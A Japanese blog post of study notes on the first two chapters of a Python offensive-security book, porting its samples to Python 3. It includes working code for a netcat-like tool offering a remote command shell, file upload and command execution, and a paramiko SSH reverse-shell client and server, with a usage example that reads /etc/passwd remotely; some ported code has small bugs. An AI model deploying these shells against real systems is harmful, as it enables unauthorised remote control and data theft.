サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 1章&2章 勉強まとめ
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
- 作者: Justin Seitz,青木一史,新井悠,一瀬小夜,岩村誠,川古谷裕平,星澤裕二
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/10/24
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (10件) を見る
勉強のまとめ記事。
サンプルコードはpython2系なのですが、勉強のためにpython3系(3.5.1)に書き直していきます。
初学者なので間違いがあると思います。間違いがあったらコメントくれたらありがたいです。
1章
特に書くことなし。
Wing IDE は使用せずに、sublime text3 を使ってます。
それと、Kali Linuxがなぜか動作が重いので、基本的にはwindowsでやっていく予定です。
2章
Python のsocket ライブラリを使った基本的な通信プログラムの作成について。
TCPクライアントとTCPサーバー
# coding: utf-8 import socket target_host = "127.0.0.1" target_port = 9999 # ソケットオブジェクトの作成 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # サーバーへ接続 client.connect((target_host, target_port)) # データの送信 client.send(b"ABCDEF") # データの受信 response = client.recv(4096) print(response)
# coding: utf-8 import socket import threading bind_ip = "127.0.0.1" bind_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip, bind_port)) server.listen(5) print("[*] Listening on {0}:{1}".format(bind_ip, bind_port)) # クライアントからの接続を処理するスレッド def handle_client(client_socket): #クライアントからの接続を処理するスレッド request = client_socket.recv(1024) print("[*] Received: ", request) #パケットの返送 client_socket.send(b"ACK!") client_socket.close() while True: client, addr = server.accept() print("[*] Accepted connection from: {0}:{1}".format(addr[0], addr[1])) #受信データを処理するスレッドの起動 client_handler = threading.Thread(target=handle_client, args=(client, )) client_handler.start()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
AF_INET は、標準的なIPv4 のアドレスやホスト名を使用するための設定。
SOCK_STREAM は、TCP を用いるための設定。
client_handler = threading.Thread(target=handle_client, args=(client, ))
クライアントソケットのオブジェクトを引数にして、
handle_client 関数を実行する、新たなスレッドオブジェクトを作成する。
Netcat の置き換え
Netcatは、UNIX系OSコマンドラインアプリケーションの一つ。TCPやUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワーク>>を扱う万能ツールとして知られる。後にWindows版なども登場している。
引用元:https://ja.wikipedia.org/wiki/Netcat
ようは、便利ツールをPython でつくってみようということらしい。
# coding: utf-8 import sys import socket import argparse import threading import subprocess #グローバル変数の定義 listen = False command = False upload = False execute = "" target = "" upload_distination = "" port = 0 desc = """ BHP Net Tool Usage: bhnet.py -t target_host -p port -l --listen - listen on [host]:[port] for incoming connections -e --execute=file_to_run - execute the given file upon receiving a connection -c --command - initialize a command shell -u --upload=destination - upon receiving connection upload a file and write to [destination] Examples: bhnet.py -t 192.168.0.1 -p 5555 -l -c bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\" echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135""" def main(): global listen global port global execute global command global upload_distination global target global desc #コマンドラインオプションの読み込み parse = argparse.ArgumentParser(description=desc) parse.add_argument('-l', '--listen', action='store_true') parse.add_argument('-e', '--execute') parse.add_argument('-c', '--command', action='store_true') parse.add_argument('-u', '--upload') parse.add_argument('-t', '--target') parse.add_argument('-p', '--port', type=int) args = parse.parse_args() if args.listen: listen = True if args.execute: execute = args.execute if args.command: command = True if args.upload: upload_distination = args.upload if args.target: target = args.target if args.port: port = args.port #接続を待機する? それとも標準入力からデータを受け取って送信する? if not listen and len(target) and port > 0: #コマンドラインからの入力を'buffer'に格納する #入力が来ないと処理が継続されないので #標準入力にデータを送らない場合は、Ctrl-Dを入力 buffer = input() #データ送信 client_sender(buffer) #接続待機を開始 #コマンドラインオプションに応じて、ファイルアップロード #コマンド実行、コマンドシェルの実行を行う if listen: server_loop() def client_sender(buffer): global target global port client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: #接続ホストへの接続 client.connect((target, port)) if len(buffer): client.send(buffer) while True: #動的ホストからのデータを待機 recv_len = 1 response = b"" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print(response.decode('shift-jis')) #追加の入力を待機 buffer = input().encode() buffer += b"\n" #データの送信 client.send(buffer) except: print("[*] Exception! Exiting.") #接続の終了 client.close() def server_loop(): global target global port #待機するIPアドレスが指定されていない場合は #すべてのインタフェースで接続を待機 if not len(target): target = "127.0.0.1" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port)) server.listen(5) while True: client_socket, addr = server.accept() #クライアントからの新しい接続を処理するスレッドの起動 client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start() def run_command(command): #文字列の末尾の改行を削除 command = command.rstrip() command = command.decode('ascii') #コマンドを実行し出力結果を取得 try: output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) except: output = b"Failed to execute command." #出力結果をクライアントに送信 return output def client_handler(client_socket): global upload global execute global command global upload_distination # ファイルアップロードを指定されているかどうかの確認 if len(upload_distination): # すべてのデータを読み取り、指定されたファイルにデータを書き込み file_buffer = b"" # 受信データがなくなるまでデータ受信を継続 while True: data = client_socket.recv(1024) if len(data) == 0: break else: file_buffer += data # 受信したデータをファイルに書き込み try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # ファイル書き込みの成否を通知 client_socket.send( b"Successfully saved file to {}\n".format(upload_destination)) except: client_socket.send( b"Failed to save file to {}\n".format(upload_destination)) # コマンド実行を指定されているかどうかの確認 if len(execute): # コマンドの実行 output = run_command(execute) client_socket.send(output) # コマンドシェルの実行を指定されている場合の処理 if command: # プロンプトの表示 prompt = b"<BHP:#>" client_socket.send(prompt) while True: # 改行(エンターキー)を受け取るまでデータを受信 cmd_buffer = b"" while b"\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) # コマンドの実行結果を取得 response = run_command(cmd_buffer) response += prompt # コマンドの実行結果を送信 client_socket.send(response) if __name__ == '__main__': main()
parse = argparse.ArgumentParser(description=desc)
parse.add_argument('-l', '--listen', action='store_true')
parse.add_argument('-e', '--execute')
parse.add_argument('-c', '--command', action='store_true')
parse.add_argument('-u', '--upload')
parse.add_argument('-t', '--target')
parse.add_argument('-p', '--port', type=int)
args = parse.parse_args()
サンプルコードでは getopt モジュールが使われていますが、公式ドキュメントに
argparse モジュールの利用を検討をしてください
とあったのでこちらに書き換えることにしました。
getopt モジュールよりも感覚的に使いやすい感じ。他にも使いみちがありそう。
公式ドキュメント:16.4. argparse — コマンドラインオプション、引数、サブコマンドのパーサー — Python 3.5.2 ドキュメント
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
subprocessライブラリは、プロセスを立ち上げたり子プロセスとやり取りしたりするのに使用され、 ここでは渡したコマンドをローカルのOSに渡して実行している(本での解説のまま)。
公式ドキュメントにはrun関数を使うことが推奨されていたけれど、使い方が分からなかったので保留。
(追記)
run()関数を使うバージョンです。
公式ドキュメント:17.5. subprocess — サブプロセス管理 — Python 3.5.2 ドキュメント
print(response.decode('shift-jis'))
command = command.decode('ascii')
ここの処理の仕方にすごく手こずってしまった。
send と recv では、バイト型のデータ(文字コード:ascii)がやり取りされる。
そして、subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)の戻り値の文字コードはshift-jis のバイト型なので、各々に合わせてデコードしなければならなかった。
この文字コードはchardetモジュールのchardet.detect()関数で調べました……。
TCPプロキシー
こちらはいくら試しても出来なかったので保留……。
完成したら追記します。
SSH通信プログラムの作成
Secure Shell(セキュアシェル、SSH)は、暗号や認証の技術を利用して、安全にリモートコンピュータと通信するためのプロトコル。パスワードなどの認証部分を含むすべてのネットワーク上の通信が暗号化される。
引用元: https://ja.wikipedia.org/wiki/Secure_Shell
# -*- coding: utf-8 -*- import threading import paramiko import subprocess def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) # バナー情報読み取り print(ssh_session.recv(1024).decode('ascii')) while True: # SSHサーバからコマンド受け取り command = ssh_session.recv(1024).decode('ascii') try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(cmd_output) except Exception as e: ssh_session.send(str(e)) client.close() return ssh_command('127.0.0.1', 'justin', 'lovesthepython', b'ClientConnected')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
ssh_session.send(command)
ssh_session.recv(1024)
paramiko 関連の詳しい日本語文章がなかったので、ぶっちゃけよく分かっていない(英語が読めない)ですが、
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
で、ユーザ名とパスワードによる認証を行い、サーバーに接続、
ssh_session = client.get_transport().open_session()
これで、SSH通信に必要なトランスポートオブジェクトを代入する。
データのやり取りは、
send()
recv()
で行うらしい。
# -*- coding: utf-8 -*- import socket import paramiko import threading import sys # Paramikoのデモファイルに含まれている鍵ファイルを利用 host_key = paramiko.RSAKey(filename='test_rsa.key') class Server (paramiko.ServerInterface): def _init_(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'justin') and (password == 'lovesthepython'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED server = sys.argv[1] ssh_port = int(sys.argv[2]) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) print("[+] Listening for connection ...") client, addr = sock.accept() except Exception as e: print("[-] Listen failed:{}".format(str(e))) sys.exit(1) print("[+] Got a connections") try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException as x: print("[-] SSH negotiation failed.") chan = bhSession.accept(20) print("[+] Authenticated!") print(chan.recv(1024).decode('ascii')) chan.send(b'Welcome to bh_ssh') while True: try: command= input("Enter command: ").strip('\n').encode() if command != b'exit': chan.send(command) print(chan.recv(1024).decode('shift-jis'),'\n') else: chan.send(b'exit') print("exiting") bhSession.close() raise Exception ('exit') except KeyboardInterrupt: bhSession.close() except Exception as e: print("[-] Caught exception:{}".format(str(e))) try: bhSession.close() except: pass sys.exit(1)
host_key = paramiko.RSAKey(filename='test_rsa.key')
デモファイルのSSH鍵の使用。
class Server (paramiko.ServerInterface)
サーバーをSSH化するためのクラス。
check_channel_request(self, kind, chanid)
チャネル要求が許可されるかどうかを判断する
check_auth_password(self, username, password)
ユーザ名とパスワードが正しいかの判断をする。
self.event = threading.Event()
ドキュメントを見ると、
イベントオブジェクトを実装しているクラスです。イベントは set() メソッドを使うと True に、 clear() メソッドを使うと False にセットされるようなフラグを管理します。 wait() メソッドは、全てのフラグが true になるまでブロックするようになっています。フラグの初期値は false です。
ということらしい。
けど、
server = Server()
bhSession.start_server(server=server)
の内部の動作がイマイチよくわからない……。
paramikoの公式ドキュメント: Welcome to Paramiko’s documentation! — Paramiko documentation
SSHトンネリング
本文では、SSHフォワードトンネリングについてイラストと文章で説明されているのだけれどイマイチ分かりにくい……。
独学で色々とやってみたけど、この本は初心者にはなかなか厳しいことがわかった……。
セキュリティやpythonの勉強を勧めながら頑張っていきたい。
python3系に書き換えるのは勉強にはなるけど、サンプルコードは2系で完成されてるので書き換えるのはあまり実用的ではないと……。